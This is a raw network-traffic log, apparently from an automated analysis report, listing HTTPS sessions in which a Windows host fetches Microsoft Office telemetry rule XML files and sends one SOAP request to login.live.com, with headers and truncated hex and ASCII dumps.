2024-11-12 05:23:39 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 05:23:39 UTC	517	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:39 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: 98909b4d-d01e-002b-39d2-2c25fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T052339Z-16547b76f7f775p5hC1DFWzdvn0000000f7g000000003s5q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 05:23:39 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.5	54593	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:39 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 05:23:39 UTC	538	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:39 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: 2ce7ce6f-901e-002a-1fd2-2c7a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T052339Z-16547b76f7fnlcwwhC1DFWz6gw0000000fb0000000005ww9 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 05:23:39 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.5	54596	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:39 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 05:23:39 UTC	538	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:39 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: fe4e74db-301e-003f-25bc-2c266f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T052339Z-16547b76f7fmbrhqhC1DFWkds80000000f6g00000000cam8 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 05:23:39 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.5	54595	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:39 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 05:23:39 UTC	538	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:39 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: 4630a231-e01e-0020-14ff-2bde90000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T052339Z-16547b76f7fxdzxghC1DFWmf7n0000000fc0000000002v5y x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 05:23:39 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.5	54594	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:39 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 05:23:39 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:39 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: a8f5521d-f01e-003f-49a0-34d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T052339Z-17df447cdb5vq4m4hC1DFW2t8w00000000r000000000m4w4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 05:23:39 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.5	54597	40.126.31.69	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:40 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-12 05:23:40 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-12 05:23:40 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Tue, 12 Nov 2024 05:22:40 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C555_BAY x-ms-request-id: cb74bb2b-18ec-4588-97e4-8bb6cf8063f5 PPServer: PPV: 30 H: PH1PEPF0001B7AD V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Tue, 12 Nov 2024 05:23:40 GMT Connection: close Content-Length: 1918
2024-11-12 05:23:40 UTC	1918	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.5	54599	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:40 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 05:23:40 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:40 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: 933b88d1-c01e-0079-80a0-34e51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T052340Z-17df447cdb5bz95mhC1DFWnk7w0000000bd0000000009ppg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 05:23:40 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.5	54601	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:40 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 05:23:40 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:40 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: 7cd96093-b01e-0070-32a5-341cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T052340Z-17df447cdb5l865xhC1DFW9n7g00000008b000000000ebv1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 05:23:40 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.5	54603	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:40 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 05:23:40 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:40 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: bad46039-901e-002a-55a8-347a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T052340Z-17df447cdb528ltlhC1DFWnt1c0000000bbg000000007vuk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 05:23:40 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.5	54602	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:40 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 05:23:40 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:40 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: 384ed142-801e-0047-1f8c-327265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T052340Z-16547b76f7fr28cchC1DFWnuws0000000f9g0000000095qq x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 05:23:40 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.5	54604	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:40 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 05:23:40 UTC	538	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:40 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: 157887d5-b01e-0084-44d2-2cd736000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T052340Z-16547b76f7f2g4rlhC1DFWnx880000000f1g00000000exgy x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 05:23:40 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" 